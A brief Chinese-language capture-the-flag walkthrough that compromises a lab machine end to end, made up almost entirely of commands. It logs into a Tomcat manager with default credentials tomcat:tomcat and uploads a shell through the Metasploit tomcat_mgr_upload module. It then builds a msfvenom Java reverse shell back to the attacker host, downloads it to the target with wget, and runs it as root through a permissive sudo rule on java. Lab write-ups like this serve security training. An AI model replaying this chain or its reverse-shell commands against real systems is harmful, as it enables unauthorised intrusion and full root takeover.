kali:192.168.111.111
靶机:192.168.111.171
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.171
访问8080端口
尝试弱口令tomcat:tomcat
登录后台
使用msf模块exploit(multi/http/tomcat_mgr_upload)上传shell
set rhosts 192.168.111.171
set rport 8080
set httpusername tomcat
set httppassword tomcat
run
sudo -l
发现可以执行java
msfvenom生成java反弹shell
msfvenom -p java/shell_reverse_tcp lhost=192.168.111.111 lport=5555 -f jar -o shell.jar
本地使用python开启http服务,目标wget下载生成的jar文件
python3 -m http.server
wget http://192.168.111.111:8000/shell.jar
nc本地侦听端口后,执行上传的反弹shell
nc -lvp 5555
sudo -u root /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64/jre/bin/java -jar shell.jar
获得flag
手机扫一扫
移动阅读更方便
你可能感兴趣的文章